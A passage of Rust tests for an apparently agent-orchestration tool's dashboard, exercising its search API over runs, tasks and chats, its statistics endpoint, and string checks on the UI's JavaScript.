19577            serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
19578        v["legacy"] = serde_json::json!({ "rounds": [{ "finding": { "text": "The Quokka leaks\nacross threads" } }] });
19579        std::fs::write(&path, v.to_string()).unwrap();
19580        std::fs::create_dir_all(runs.join("20260902-140503-cccc")).unwrap();
19581        std::fs::write(
19582            runs.join("20260902-140503-cccc").join("run.json"),
19583            "{ not json",
19584        )
19585        .unwrap();
19586
19587        let res = f.get("/api/search?scope=runs&q=quokka").await;
19588        assert_eq!(res.status, 200, "{}", res.body);
19589        let v = res.json();
19590        assert_eq!(v["total"], 1, "{v}");
19591        assert_eq!(v["hits"][0]["id"], "20260902-140502-bbbb");
19592        assert_eq!(v["hits"][0]["field"], "text");
19593        assert_eq!(v["unreadable"], 1, "an unparsable run is counted: {v}");
19594        let parts = v["hits"][0]["snippet"].as_array().unwrap();
19595        assert!(
19596            parts
19597                .iter()
19598                .any(|p| p["hit"] == true && p["text"] == "Quokka"),
19599            "{v}"
19600        );
19601        let flat: String = parts.iter().map(|p| p["text"].as_str().unwrap()).collect();
19602        assert_eq!(
19603            flat, "The Quokka leaks across threads",
19604            "whitespace is collapsed"
19605        );
19606
19607        // Terms are ANDed, across different fields, case-insensitively.
19608        let both = f
19609            .get("/api/search?scope=runs&q=MOBILE%20quokka")
19610            .await
19611            .json();
19612        assert_eq!(both["total"], 1, "{both}");
19613        let neither = f
19614            .get("/api/search?scope=runs&q=quokka%20zebra")
19615            .await
19616            .json();
19617        assert_eq!(neither["total"], 0, "{neither}");
19618        // Everything in the task statement is reachable, not only the row text.
19619        let stmt = f
19620            .get("/api/search?scope=runs&q=mobile%20first")
19621            .await
19622            .json();
19623        assert_eq!(stmt["total"], 2, "{stmt}");
19624        let by_id = f.get("/api/search?scope=runs&q=140501-aaaa").await.json();
19625        assert_eq!(by_id["hits"][0]["id"], "20260902-140501-aaaa", "{by_id}");
19626    }
19627
19628    #[test]
19629    fn snippet_ignores_terms_longer_than_the_field() {
19630        let terms = ["ok".to_owned(), "elephant".to_owned()];
19631        let parts = snippet_of("ok", &terms);
19632        assert_eq!(
19633            parts,
19634            vec![SnippetPart {
19635                text: "ok".to_owned(),
19636                hit: true
19637            }]
19638        );
19639    }
19640
19641    #[test]
19642    fn snippet_marks_matches_longer_than_the_window() {
19643        let cap = SNIPPET_BEFORE + SNIPPET_AFTER + 2;
19644        let hit_len = |parts: &[SnippetPart]| -> usize {
19645            parts
19646                .iter()
19647                .filter(|p| p.hit)
19648                .map(|p| p.text.chars().count())
19649                .sum()
19650        };
19651        let total =
19652            |parts: &[SnippetPart]| -> usize { parts.iter().map(|p| p.text.chars().count()).sum() };
19653
19654        let long = "a".repeat(120);
19655        let parts = snippet_of(&long, std::slice::from_ref(&long));
19656        assert!(hit_len(&parts) > 0, "{parts:?}");
19657        assert!(total(&parts) <= cap);
19658
19659        let ja = "あ".repeat(130);
19660        let parts = snippet_of(&ja, std::slice::from_ref(&ja));
19661        assert!(hit_len(&parts) > 0, "{parts:?}");
19662        assert!(total(&parts) <= cap);
19663
19664        // A short hit, then one straddling the window's end.
19665        let text = format!("ab {} ab{}", "x".repeat(90), "c".repeat(100));
19666        let term = format!("ab{}", "c".repeat(100));
19667        let parts = snippet_of(&text, &["ab ".to_owned(), term]);
19668        assert!(parts.iter().filter(|p| p.hit).count() >= 2, "{parts:?}");
19669        assert!(total(&parts) <= cap);
19670
19671        // Only the head matches: not highlighted.
19672        let text = format!("{}z", "a".repeat(119));
19673        let parts = snippet_of(&text, &["a".repeat(120)]);
19674        assert_eq!(hit_len(&parts), 0, "{parts:?}");
19675    }
19676
19677    #[tokio::test]
19678    async fn search_caps_hits_and_snippet_length() {
19679        let f = Fixture::start().await;
19680        let runs = f.runs();
19681        for n in 0..(SEARCH_MAX_HITS + 5) {
19682            write_run(&runs, &format!("20260902-140501-{n:04}"), RunStatus::Merged);
19683        }
19684        let v = f.get("/api/search?scope=runs&q=web").await.json();
19685        assert_eq!(v["hits"].as_array().unwrap().len(), SEARCH_MAX_HITS);
19686        assert_eq!(v["total"], SEARCH_MAX_HITS + 5);
19687        assert_eq!(v["truncated"], true);
19688        // Every listed run hit carries its list row for the page's filters.
19689        assert!(
19690            v["hits"]
19691                .as_array()
19692                .unwrap()
19693                .iter()
19694                .all(|h| h["run"]["status"] == "merged")
19695        );
19696
19697        let long = format!("{}needle{}", "x".repeat(5000), "y".repeat(5000));
19698        let parts = snippet_of(&long, &["needle".to_owned()]);
19699        let len: usize = parts.iter().map(|p| p.text.chars().count()).sum();
19700        assert!(len <= SNIPPET_BEFORE + SNIPPET_AFTER + 2, "{len}");
19701        assert!(parts.iter().any(|p| p.hit && p.text == "needle"));
19702    }
19703
19704    #[tokio::test]
19705    async fn search_tasks_reads_every_field_and_rejects_bad_requests() {
19706        let f = Fixture::start().await;
19707        let queue = f.queue();
19708        let mut t = Task::new(
19709            "short title".to_owned(),
19710            "line one\nthe hidden Armadillo detail".to_owned(),
19711            PathBuf::from("/repo/magi"),
19712            Source::Agent {
19713                run: "r1".to_owned(),
19714                node: "chat".to_owned(),
19715            },
19716        );
19717        t.last_error = Some("disk full on /tmp".to_owned());
19718        queue.put(&mut t).expect("file the task");
19719
19720        for (q, want) in [
19721            ("armadillo", 1),
19722            ("disk%20FULL", 1),
19723            ("chat", 1),
19724            ("queued", 1),
19725            ("short%20nothing", 0),
19726        ] {
19727            let v = f
19728                .get(&format!("/api/search?scope=tasks&q={q}"))
19729                .await
19730                .json();
19731            assert_eq!(v["total"], want, "{q}: {v}");
19732        }
19733        for bad in [
19734            "/api/search?scope=tasks&q=",
19735            "/api/search?scope=tasks&q=%20",
19736            "/api/search?scope=chats&q=",
19737            "/api/search?scope=chats&q=%20",
19738            "/api/search?scope=nope&q=a",
19739            "/api/search?q=a",
19740        ] {
19741            assert_eq!(f.get(bad).await.status, 400, "{bad}");
19742        }
19743    }
19744
19745    /// Write one conversation file the way the store reads it back.
19746    fn write_talk(f: &Fixture, id: &str, status: &str, turns: &[(&str, &str)]) {
19747        let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "claude", 1))
19748            .expect("seat value");
19749        let turns: Vec<serde_json::Value> = turns
19750            .iter()
19751            .map(|(who, body)| {
19752                serde_json::json!({"who": who, "body": body, "at": "2026-09-01T00:00:00Z"})
19753            })
19754            .collect();
19755        let doc = serde_json::json!({
19756            "schema": 1, "id": id, "repo": "/SecretRepoPath", "agent": "claude-agent",
19757            "status": status, "turns": turns,
19758            "created_at": "2026-09-01T00:00:00Z", "updated_at": "2026-09-01T00:00:00Z",
19759            "seat": seat,
19760        });
19761        let dir = f.home.path().join("talks");
19762        std::fs::create_dir_all(&dir).expect("talks dir");
19763        std::fs::write(dir.join(format!("{id}.json")), doc.to_string()).expect("write talk");
19764    }
19765
19766    #[test]
19767    fn chat_search_prefers_the_saved_title_and_keeps_the_transcript() {
19768        let mut talk: Talk = serde_json::from_value(serde_json::json!({
19769            "schema": 1, "id": "20260908-205806-ab12", "repo": ".", "agent": "test",
19770            "status": "open", "turns": [{"who":"operator", "body":"古い話題", "at":"2026-09-08T20:58:02Z"}],
19771            "created_at": "2026-09-08T20:58:02Z", "updated_at": "2026-09-08T20:58:02Z",
19772            "seat": crate::agent::SeatState::new("talk", "test", 1)
19773        })).unwrap();
19774        assert_eq!(talk_search_doc(&talk)["title"], "古い話題");
19775        talk.title = Some(talk::ChatTitle {
19776            text: "最近の話題".into(),
19777            source: talk::TitleSource::Generated,
19778        });
19779        let doc = talk_search_doc(&talk);
19780        assert_eq!(doc["title"], "最近の話題");
19781        assert_eq!(doc["turns"][0]["operator"], "古い話題");
19782        talk.title.as_mut().unwrap().source = talk::TitleSource::Manual;
19783        assert_eq!(talk_search_doc(&talk)["title"], "最近の話題");
19784    }
19785
19786    #[test]
19787    fn chat_search_labels_external_turns_and_messages_without_operator_attribution() {
19788        let mut talk = talk::seeded_for_test("external", PathBuf::from("."));
19789        talk.title = Some(talk::ChatTitle {
19790            text: "Saved title".into(),
19791            source: talk::TitleSource::Manual,
19792        });
19793        talk.turns = serde_json::from_value(serde_json::json!([
19794            {
19795                "who": "operator", "sender": "external", "body": "External plain",
19796                "at": "2026-09-08T20:58:02Z"
19797            },
19798            {
19799                "who": "operator", "body": "External message",
19800                "at": "2026-09-08T20:58:03Z",
19801                "messages": [{
19802                    "sender": "external", "body": "External message", "attachments": []
19803                }]
19804            }
19805        ]))
19806        .unwrap();
19807        let doc = talk_search_doc(&talk);
19808        assert_eq!(doc["turns"][0]["external"], "External plain");
19809        assert_eq!(doc["turns"][1]["external"], "External message");
19810        assert!(doc["turns"][0].get("operator").is_none());
19811        assert!(doc["turns"][1].get("operator").is_none());
19812        let hit = search_chat(&search_terms("message"), &talk).unwrap();
19813        assert_eq!(hit.field, "external");
19814        let target = hit.target.unwrap();
19815        assert_eq!((target.turn, target.message), (1, 0));
19816    }
19817
19818    #[test]
19819    fn chat_search_targets_the_snippet_message_and_preserves_document_matching() {
19820        let talk: Talk = serde_json::from_value(serde_json::json!({
19821            "schema": 1, "id": "20260908-205806-ab12", "repo": ".", "agent": "test",
19822            "status": "open", "title": {"text":"Saved title", "source":"manual"},
19823            "turns": [{"who":"operator", "body":"First message\n\nSearch 運用", "at":"2026-09-08T20:58:02Z",
19824                "messages":[{"body":"First message", "attachments":[], "reply":null},
19825                            {"body":"Search 運用", "attachments":[], "reply":null}]},
19826                {"who":"agent", "body":"Another term", "at":"2026-09-08T20:59:02Z"}],
19827            "created_at": "2026-09-08T20:58:02Z", "updated_at": "2026-09-08T20:59:02Z",
19828            "seat": crate::agent::SeatState::new("talk", "test", 1)
19829        })).unwrap();
19830        let hit = search_chat(&search_terms("運用 Another"), &talk).unwrap();
19831        let target = hit.target.unwrap();
19832        assert_eq!((target.turn, target.message), (0, 1));
19833        assert_eq!(target.text, chat_text_key("Search 運用"));
19834        assert_eq!(
19835            hit.snippet,
19836            snippet_of("Search 運用", &search_terms("運用 Another"))
19837        );
19838        assert!(
19839            search_chat(&search_terms("Saved"), &talk)
19840                .unwrap()
19841                .target
19842                .is_none()
19843        );
19844        assert!(
19845            search_chat(&search_terms("ab12"), &talk)
19846                .unwrap()
19847                .target
19848                .is_none()
19849        );
19850        // All terms may still match across separate display rows.
19851        assert!(search_chat(&search_terms("message Search"), &talk).is_some());
19852        assert!(search_chat(&search_terms("messageSearch"), &talk).is_none());
19853    }
19854
19855    #[test]
19856    fn chat_search_targets_opener_derived_titles() {
19857        let mut talk: Talk = serde_json::from_value(serde_json::json!({
19858            "schema": 1, "id": "20260908-205806-ab12", "repo": ".", "agent": "test",
19859            "status": "open", "turns": [
19860                {"who":"agent", "body":"Welcome", "at":"2026-09-08T20:58:01Z"},
19861                {"who":"operator", "body":"\n 運用について\nDetails", "at":"2026-09-08T20:58:02Z"},
19862                {"who":"agent", "body":"Latest reply", "at":"2026-09-08T20:59:02Z"}],
19863            "created_at": "2026-09-08T20:58:01Z", "updated_at": "2026-09-08T20:59:02Z",
19864            "seat": crate::agent::SeatState::new("talk", "test", 1)
19865        }))
19866        .unwrap();
19867        let terms = search_terms("運用");
19868        let hit = search_chat(&terms, &talk).unwrap();
19869        assert_eq!(hit.field, "title");
19870        assert_eq!(hit.snippet, snippet_of("運用について", &terms));
19871        let target = hit.target.unwrap();
19872        assert_eq!((target.turn, target.message), (1, 0));
19873        assert_eq!(target.text, chat_text_key(&talk.turns[1].body));
19874        // A blank first send can put the opener line in a later display row.
19875        talk.turns[1].messages = serde_json::from_value(serde_json::json!([
19876            {"body":"", "attachments":[], "reply":null},
19877            {"body":" 運用について\nDetails", "attachments":[], "reply":null}
19878        ]))
19879        .unwrap();
19880        let target = search_chat(&terms, &talk).unwrap().target.unwrap();
19881        assert_eq!((target.turn, target.message), (1, 1));
19882        assert_eq!(target.text, chat_text_key(" 運用について\nDetails"));
19883        talk.title = Some(talk::ChatTitle {
19884            text: "運用について".into(),
19885            source: talk::TitleSource::Manual,
19886        });
19887        assert!(search_chat(&terms, &talk).unwrap().target.is_none());
19888    }
19889
19890    #[tokio::test]
19891    async fn search_chats_reads_title_and_turns_and_counts_unreadable() {
19892        let f = Fixture::start().await;
19893        write_talk(
19894            &f,
19895            "20260901-000001-aaaa",
19896            "open",
19897            &[
19898                (
19899                    "operator",
19900                    "\n  Why does the Pangolin cache expire?\nsecond line",
19901                ),
19902                ("agent", "Because the TTL is thirty seconds."),
19903            ],
19904        );
19905        write_talk(
19906            &f,
19907            "20260901-000002-bbbb",
19908            "closed",
19909            &[("operator", "unrelated"), ("agent", "The Zebra moved on.")],
19910        );
19911        std::fs::write(f.home.path().join("talks/broken.json"), "{ nope").expect("broken");
19912
19913        let search = |q: &'static str| {
19914            let f = &f;
19915            async move {
19916                f.get(&format!("/api/search?scope=chats&q={q}"))
19917                    .await
19918                    .json()
19919            }
19920        };
19921
19922        let v = search("PANGOLIN").await;
19923        assert_eq!(v["scope"], "chats");
19924        assert_eq!(v["total"], 1, "{v}");
19925        assert_eq!(v["hits"][0]["id"], "20260901-000001-aaaa");
19926        assert_eq!(v["hits"][0]["field"], "title");
19927        assert_eq!(v["unreadable"], 1, "{v}");
19928        let marked: Vec<&str> = v["hits"][0]["snippet"]
19929            .as_array()
19930            .unwrap()
19931            .iter()
19932            .filter(|p| p["hit"] == true)
19933            .map(|p| p["text"].as_str().unwrap())
19934            .collect();
19935        assert_eq!(marked, ["Pangolin"]);
19936
19937        // An agent turn, in a closed conversation.
19938        let v = search("zebra").await;
19939        assert_eq!(v["total"], 1, "{v}");
19940        assert_eq!(v["hits"][0]["field"], "agent");
19941        // Words may sit in different turns; all must be present.
19942        assert_eq!(search("pangolin%20thirty").await["total"], 1);
19943        assert_eq!(search("pangolin%20zebra").await["total"], 0);
19944        // Bookkeeping is not searched.
19945        for q in ["claude-agent", "SecretRepoPath", "open", "closed"] {
19946            assert_eq!(search(q).await["total"], 0, "{q}");
19947        }
19948        // The first line only is the title; the second line is still a turn.
19949        assert_eq!(search("second").await["hits"][0]["field"], "operator");
19950        // Open conversations are listed before closed ones.
19951        assert_eq!(search("the").await["hits"][0]["id"], "20260901-000001-aaaa");
19952
19953        let v = f.get("/api/search?scope=nope&q=a").await;
19954        assert_eq!(v.status, 400);
19955        assert!(
19956            v.body.contains("scope must be runs, tasks or chats"),
19957            "{}",
19958            v.body
19959        );
19960    }
19961
19962    #[test]
19963    fn a_question_card_links_a_task_id_to_the_task_page() {
19964        let start = APP_JS
19965            .find("function updateAskCard(")
19966            .expect("updateAskCard exists");
19967        let body = &APP_JS[start..];
19968        let body = &body[..body.find("\n}\n").expect("function end")];
19969        assert!(body.contains("question.run_is_task"));
19970        assert!(body.contains("`#/tasks/${encodeURIComponent(question.run)}`"));
19971        assert!(body.contains("`#/runs/${question.run}`"));
19972        assert!(body.contains("\"task\" : \"run\""));
19973    }
19974
19975    #[test]
19976    fn plain_text_message_surfaces_go_through_linkify() {
19977        assert!(APP_JS.contains("function linkify("));
19978        assert!(!APP_JS.contains("class: \"event-msg\", text:"));
19979        assert!(!APP_JS.contains("class: \"notice-msg\", text:"));
19980        assert!(APP_JS.contains("linkify(el(\"span\", { class: \"event-msg\" })"));
19981        assert!(APP_JS.contains("linkify(el(\"div\", { class: \"notice-msg\" })"));
19982        assert!(!APP_JS.contains("innerHTML = text"));
19983    }
19984
19985    #[test]
19986    fn implementation_rate_views_keep_independent_samples() {
19987        for (competitive_n, solo_n) in [(0, 0), (9, 10), (10, 9)] {
19988            let a = stats::AgentStats {
19989                competitive_entered: competitive_n,
19990                competitive_wins: usize::from(competitive_n > 0),
19991                solo_entered: solo_n,
19992                solo_adopted: 2 * usize::from(solo_n > 0),
19993                ..Default::default()
19994            };
19995            let v = serde_json::to_value(AgentStatsView::from(&a)).unwrap();
19996            for (key, n, numerator) in [
19997                ("competitive_win_rate", competitive_n, a.competitive_wins),
19998                ("solo_adoption_rate", solo_n, a.solo_adopted),
19999            ] {
20000                if n == 0 {
20001                    assert!(v[key].is_null());
20002                } else {
20003                    assert_eq!(v[key]["denominator"], n);
20004                    assert_eq!(v[key]["pct"], 100.0 * numerator as f64 / n as f64);
20005                }
20006            }
20007        }
20008        assert!(APP_JS.contains("rate: a.competitive_win_rate"));
20009        assert!(APP_JS.contains("rate: a.solo_adoption_rate"));
20010        assert!(APP_JS.contains("r.rate.denominator < STATS_LOW_N"));
20011        assert!(APP_JS.contains("const STATS_LOW_N = 10;"));
20012    }
20013
20014    #[test]
20015    fn stats_bars_share_one_id_keyed_plan() {
20016        let start = APP_JS
20017            .find("function statsBarRows(")
20018            .expect("statsBarRows exists");
20019        let body = &APP_JS[start..];
20020        let body = &body[..body.find("\n}\n").expect("function end")];
20021        assert!(body.contains("statsBarPlan(rows)"));
20022        assert!(body.contains("statsAgentTone(row.agent)"));
20023        assert!(!body.contains("candTone(i)"));
20024        assert!(APP_JS.contains("const STATS_LOW_N = 10;"));
20025        for root in [
20026            "stats-agents-bars",
20027            "stats-solo-bars",
20028            "stats-reviewers-bars",
20029        ] {
20030            assert!(APP_JS.contains(&format!("statsBarRows($(\"{root}\")")));
20031        }
20032    }
20033
20034    #[test]
20035    fn the_precision_scatter_is_a_pure_plan_in_the_agents_colour() {
20036        let start = APP_JS
20037            .find("function renderStatsReviewerScatter(")
20038            .expect("renderStatsReviewerScatter exists");
20039        let body = &APP_JS[start..];
20040        let body = &body[..body.find("\n}\n").expect("function end")];
20041        assert!(body.contains("statsScatterPlan(reviewers)"));
20042        assert!(body.contains("statsAgentTone(d.agent)"));
20043        assert!(APP_JS.contains("function statsScatterPlan("));
20044        assert!(
20045            APP_JS.contains("d.submitted < STATS_LOW_N")
20046                || APP_JS.contains("r.submitted < STATS_LOW_N")
20047        );
20048        assert!(INDEX_HTML.contains("id=\"stats-reviewers-scatter\""));
20049        assert!(APP_CSS.contains(".precision-scatter"));
20050    }
20051
20052    #[test]
20053    fn advisor_reflection_is_drawn_as_stacked_segments() {
20054        assert!(APP_JS.contains("statsReflectionRows($(\"stats-advisors-bars\")"));
20055        assert!(APP_JS.contains("const STATS_SEG_MIN = 4;"));
20056        let html = include_str!("../assets/ui/index.html");
20057        assert!(html.contains("Approximate"));
20058        for label in ["reflected strongly", "faint", "no proposal"] {
20059            assert!(html.contains(label));
20060        }
20061        let css = include_str!("../assets/ui/app.css");
20062        for c in ["refl-strong", "refl-faint", "refl-absent"] {
20063            assert!(css.contains(&format!(".{c} {{")));
20064        }
20065    }
20066
20067    #[test]
20068    fn stats_daily_chart_is_planned_purely_and_rendered_from_the_api() {
20069        assert!(APP_JS.contains("function statsDailyPlan("));
20070        assert!(APP_JS.contains("renderStatsDaily(s.daily)"));
20071        assert!(INDEX_HTML.contains("id=\"stats-daily\""));
20072    }
20073
20074    #[test]
20075    fn a_keystroke_invalidates_the_search_reply_still_in_flight() {
20076        let start = APP_JS
20077            .find("function scheduleSearch(")
20078            .expect("scheduleSearch exists");
20079        let body = &APP_JS[start..];
20080        let body = &body[..body.find("\n}\n").expect("function end")];
20081        assert!(body.contains("s.seq += 1"));
20082    }
20083
20084    /// The dashboard reads every run's state itself rather than trusting a
20085    /// separately-maintained count, so an unreadable run must be counted the
20086    /// same way `/api/health` counts it - never silently dropped the way the
20087    /// CLI's own `stats::load_all` drops it.
20088    #[tokio::test]
20089    async fn stats_runs_unreadable_matches_health() {
20090        let f = Fixture::start().await;
20091        write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
20092        let broken = f.runs().join("20260902-140502-bad");
20093        std::fs::create_dir_all(&broken).expect("run dir");
20094        std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
20095
20096        let stats = f.get("/api/stats").await;
20097        let health = f.get("/api/health").await;
20098
20099        assert_eq!(stats.status, 200);
20100        assert_eq!(stats.json()["totals"]["runs"], 1);
20101        assert_eq!(stats.json()["runs_unreadable"], 1);
20102        assert_eq!(
20103            stats.json()["runs_unreadable"],
20104            health.json()["runs_unreadable"],
20105            "the dashboard and /api/health must never disagree about how many \
20106             runs could not be read"
20107        );
20108    }
20109
20110    #[tokio::test]
20111    async fn stats_verdict_breakdown_covers_stalled_and_in_progress_runs() {
20112        let f = Fixture::start().await;
20113        write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
20114        write_run(&f.runs(), "20260902-140502-b", RunStatus::Stalled);
20115        write_run(&f.runs(), "20260902-140503-c", RunStatus::Implementing);
20116
20117        let totals = &f.get("/api/stats").await.json()["totals"];
20118        assert_eq!(totals["runs"], 3);
20119        assert_eq!(totals["merged"], 1);
20120        assert_eq!(totals["stalled"], 1);
20121        assert_eq!(totals["in_progress"], 1);
20122        // A stalled run must never read as blocked/merged/ready - it is its
20123        // own bucket, not folded into a "decided" one.
20124        assert_eq!(totals["blocked"], 0);
20125        assert_eq!(totals["ready"], 0);
20126    }
20127
20128    #[tokio::test]
20129    async fn stats_advisors_report_proposals_and_reflection() {
20130        use crate::advise::{Advice, AdvisorRecord, Reflection};
20131        use crate::verdict::Proposal;
20132
20133        let f = Fixture::start().await;
20134        let mut state = RunState::new(
20135            PathBuf::from("/repo/magi"),
20136            "main".to_owned(),
20137            "0123456789abcdef".to_owned(),
20138            "task".to_owned(),
20139            Config::default(),
20140        );
20141        state.id = "20260902-140501-a".to_owned();
20142        state.status = RunStatus::Merged;
20143        state.advice = Some(Advice {
20144            records: vec![
20145                AdvisorRecord {
20146                    seat: "advisor-1".to_owned(),
20147                    agent: "alpha".to_owned(),
20148                    proposal: Some(Proposal {
20149                        approach: "do it".to_owned(),
20150                        key_tradeoff: "speed over memory".to_owned(),
20151                        risks: Vec::new(),
20152                        touches: Vec::new(),
20153                        why_not_naive: "breaks under load".to_owned(),
20154                    }),
20155                    error: None,
20156                    duration_ms: 0,
20157                    reflection: Reflection::Strong,
20158                },
20159                AdvisorRecord {
20160                    seat: "advisor-2".to_owned(),
20161                    agent: "alpha".to_owned(),
20162                    proposal: None,
20163                    error: Some("timed out".to_owned()),
20164                    duration_ms: 0,
20165                    reflection: Reflection::Absent,
20166                },
20167            ],
20168            synthesis: Some("blended brief".to_owned()),
20169        });
20170        let dir = f.runs().join(&state.id);
20171        std::fs::create_dir_all(&dir).expect("run dir");
20172        std::fs::write(
20173            dir.join("run.json"),
20174            serde_json::to_string_pretty(&state).expect("serialize run"),
20175        )
20176        .expect("write run.json");
20177
20178        // `alpha` is in no roster here; this test is about the rates.
20179        let advisors = f.get("/api/stats?all=true").await.json()["advisors"].clone();
20180        let alpha = advisors
20181            .as_array()
20182            .expect("an array")
20183            .iter()
20184            .find(|a| a["agent"] == "alpha")
20185            .expect("alpha row");
20186        assert_eq!(alpha["seated"], 2);
20187        assert_eq!(alpha["proposed"], 1);
20188        assert_eq!(alpha["absent"], 1);
20189        assert_eq!(alpha["strong"], 1);
20190        assert_eq!(alpha["faint"], 0);
20191        assert_eq!(alpha["reflection_rate"]["pct"], 100.0);
20192    }
20193
20194    #[tokio::test]
20195    async fn stats_hides_agents_outside_the_roster_unless_all() {
20196        use crate::run::Candidate;
20197        let repo = TempDir::new().expect("repo dir");
20198        std::fs::write(
20199            repo.path().join("magi.toml"),
20200            "[[agents]]\nid = \"keep\"\nkind = \"claude\"\n",
20201        )
20202        .expect("magi.toml");
20203        let f = Fixture::with_repo(repo.path().to_path_buf()).await;
20204        let mut state = RunState::new(
20205            PathBuf::from("/repo/magi"),
20206            "main".to_owned(),
20207            "0123456789abcdef".to_owned(),
20208            "task".to_owned(),
20209            Config::default(),
20210        );
20211        state.id = "20260902-140501-a".to_owned();
20212        state.status = RunStatus::Merged;
20213        for (label, agent) in [('A', "keep"), ('B', "retired")] {
20214            let mut c: Candidate = serde_json::from_value(serde_json::json!({
20215                "index": 0, "label": label.to_string(), "agent": agent,
20216                "branch": "b", "worktree": "/w",
20217            }))
20218            .expect("candidate");
20219            c.label = label;
20220            state.candidates.push(c);
20221        }
20222        let dir = f.runs().join(&state.id);
20223        std::fs::create_dir_all(&dir).expect("run dir");
20224        std::fs::write(
20225            dir.join("run.json"),
20226            serde_json::to_string_pretty(&state).expect("serialize run"),
20227        )
20228        .expect("write run.json");
20229
20230        let agents_of = |v: &serde_json::Value| -> Vec<String> {
20231            v["agents"]
20232                .as_array()
20233                .expect("array")
20234                .iter()
20235                .map(|a| a["agent"].as_str().unwrap().to_owned())
20236                .collect()
20237        };
20238        let hidden = f.get("/api/stats").await.json();
20239        assert_eq!(agents_of(&hidden), ["keep"]);
20240        assert_eq!(hidden["retired_hidden"], serde_json::json!(["retired"]));
20241        assert_eq!(hidden["totals"]["runs"], 1);
20242
20243        let all = f.get("/api/stats?all=true").await.json();
20244        assert_eq!(agents_of(&all).len(), 2);
20245        assert_eq!(all["retired_hidden"], serde_json::json!([]));
20246        // Verify competitive and solo keys exist on agent entries
20247        let keep_agent = all["agents"]
20248            .as_array()
20249            .unwrap()
20250            .iter()
20251            .find(|a| a["agent"] == "keep")
20252            .unwrap();
20253        assert_eq!(keep_agent["competitive_entered"], 1);
20254        assert_eq!(keep_agent["competitive_wins"], 0);
20255        assert_eq!(keep_agent["competitive_win_rate"]["pct"], 0.0);
20256        assert_eq!(keep_agent["solo_entered"], 0);
20257        assert_eq!(keep_agent["solo_adopted"], 0);
20258        assert!(keep_agent["solo_adoption_rate"].is_null());
20259    }
20260
20261    #[tokio::test]
20262    async fn stats_release_bumps_split_clean_from_attention() {
20263        use crate::run::ReleaseBump;
20264
20265        let f = Fixture::start().await;
20266
20267        let mut clean = RunState::new(
20268            PathBuf::from("/repo/magi"),
20269            "main".to_owned(),
20270            "0123456789abcdef".to_owned(),
20271            "task".to_owned(),
20272            Config::default(),
20273        );
20274        clean.id = "20260902-140501-a".to_owned();
20275        clean.status = RunStatus::Merged;
20276        clean.release_bump = Some(ReleaseBump {
20277            pr_url: Some("https://github.com/o/r/pull/1".to_owned()),
20278            version: Some("1.0.0".to_owned()),
20279            automerge_enabled: true,
20280            merged_directly: false,
20281            local: false,
20282            release: None,
20283            problem: None,
20284            action_required: None,
20285            skipped: None,
20286        });
20287
20288        let mut blocked = RunState::new(
20289            PathBuf::from("/repo/magi"),
20290            "main".to_owned(),
20291            "0123456789abcdef".to_owned(),
20292            "task".to_owned(),
20293            Config::default(),
20294        );
20295        blocked.id = "20260902-140502-b".to_owned();
20296        blocked.status = RunStatus::Merged;
20297        blocked.release_bump = Some(ReleaseBump {
20298            pr_url: Some("https://github.com/o/r/pull/2".to_owned()),
20299            version: Some("1.0.1".to_owned()),
20300            automerge_enabled: false,
20301            merged_directly: false,
20302            local: false,
20303            release: None,
20304            problem: Some("checks red".to_owned()),
20305            action_required: Some("look at the PR".to_owned()),
20306            skipped: None,
20307        });
20308
20309        for state in [&clean, &blocked] {
20310            let dir = f.runs().join(&state.id);
20311            std::fs::create_dir_all(&dir).expect("run dir");
20312            std::fs::write(
20313                dir.join("run.json"),
20314                serde_json::to_string_pretty(state).expect("serialize run"),
20315            )
20316            .expect("write run.json");
20317        }
20318
20319        let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
20320        assert_eq!(bumps["merged"], 2);
20321        assert_eq!(bumps["recorded"], 2);
20322        assert_eq!(bumps["pr_opened"], 2);
20323        assert_eq!(bumps["automerge_enabled"], 1);
20324        assert_eq!(bumps["needs_attention"], 1);
20325        assert_eq!(bumps["clean"], 1);
20326        assert_eq!(bumps["coverage_rate"]["pct"], 100.0);
20327        assert_eq!(bumps["attention_rate"]["pct"], 50.0);
20328    }
20329
20330    #[tokio::test]
20331    async fn stats_release_bumps_rates_are_null_with_nothing_recorded() {
20332        let f = Fixture::start().await;
20333        write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
20334
20335        let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
20336        assert_eq!(bumps["merged"], 1);
20337        assert_eq!(bumps["recorded"], 0);
20338        // `merged` is nonzero, so coverage still reads as a real 0%, not an
20339        // absent rate - "0 of 1 merged runs" is a fact, not a missing value.
20340        assert_eq!(bumps["coverage_rate"]["pct"], 0.0);
20341        // `pr_opened` and `recorded` are both zero here, so these rates have
20342        // no denominator to compute from and must be null.
20343        assert_eq!(bumps["automerge_rate"], Value::Null);
20344        assert_eq!(bumps["attention_rate"], Value::Null);
20345    }
20346
20347    #[tokio::test]
20348    async fn stats_queue_counts_come_from_the_live_queue() {
20349        let f = Fixture::start().await;
20350        let q = f.queue();
20351        let mut queued = Task::new(
20352            "queued task".to_owned(),
20353            "do it".to_owned(),
20354            PathBuf::from("/repo"),
20355            Source::Human,
20356        );
20357        q.put(&mut queued).expect("put queued");
20358        let mut held = Task::new(
20359            "held task".to_owned(),
20360            "do it later".to_owned(),
20361            PathBuf::from("/repo"),
20362            Source::Human,
20363        );
20364        held.hold_machine(Some("out of attempts".to_owned()));
20365        q.put(&mut held).expect("put held");
20366
20367        let queue = f.get("/api/stats").await.json()["queue"].clone();
20368        assert_eq!(queue["queued"], 1);
20369        assert_eq!(queue["held"], 1);
20370        assert_eq!(queue["running"], 0);
20371        assert_eq!(queue["done"], 0);
20372        assert_eq!(queue["failed"], 0);
20373        assert_eq!(queue["blocked"], 0);
20374    }
20375
20376    #[tokio::test]
20377    async fn stats_on_an_empty_home_is_all_zero_not_an_error() {
20378        let f = Fixture::start().await;
20379        let stats = f.get("/api/stats").await;
20380        assert_eq!(stats.status, 200);
20381        assert_eq!(stats.json()["totals"]["runs"], 0);
20382        assert_eq!(stats.json()["totals"]["completion_rate"], Value::Null);
20383        assert_eq!(stats.json()["runs_unreadable"], 0);
20384        assert!(stats.json()["agents"].as_array().unwrap().is_empty());
20385        assert!(stats.json()["advisors"].as_array().unwrap().is_empty());
